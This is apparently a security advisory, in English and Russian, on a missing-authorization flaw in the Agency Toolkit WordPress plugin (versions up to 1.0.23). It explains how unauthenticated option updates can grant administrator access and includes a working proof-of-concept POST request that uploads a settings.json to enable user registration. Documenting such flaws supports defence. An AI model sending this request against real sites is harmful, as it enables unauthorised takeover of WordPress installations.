
Agency Toolkit <= 1.0.23 - Missing Authorization to Unauthenticated Arbitrary Options Update
Agency Toolkit <= 1.0.23 — отсутствие авторизации ведёт к неаутентифицированному произвольному обновлению параметров
Плагин Agency Toolkit для WordPress уязвим к несанкционированному изменению данных, которое может привести к повышению привилегий, из-за отсутствия проверки прав доступа в действии 'agency_toolkit_import' во всех версиях до 1.0.23 включительно. Это позволяет неаутентифицированным атакующим обновлять произвольные параметры на сайте WordPress. Данную возможность можно использовать для изменения роли по умолчанию для регистрации на администратора и включения регистрации пользователей, что позволит атакующим получить административный доступ к уязвимому сайту.
POST /wp-admin/admin.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
Content-Length: 485
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="agency_toolkit_import"
1
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="import_file"; filename="settings.json"
Content-Type: application/json
[
{
"option_name": "users_can_register",
"option_value": "1"
}
]
------WebKitFormBoundaryABC123--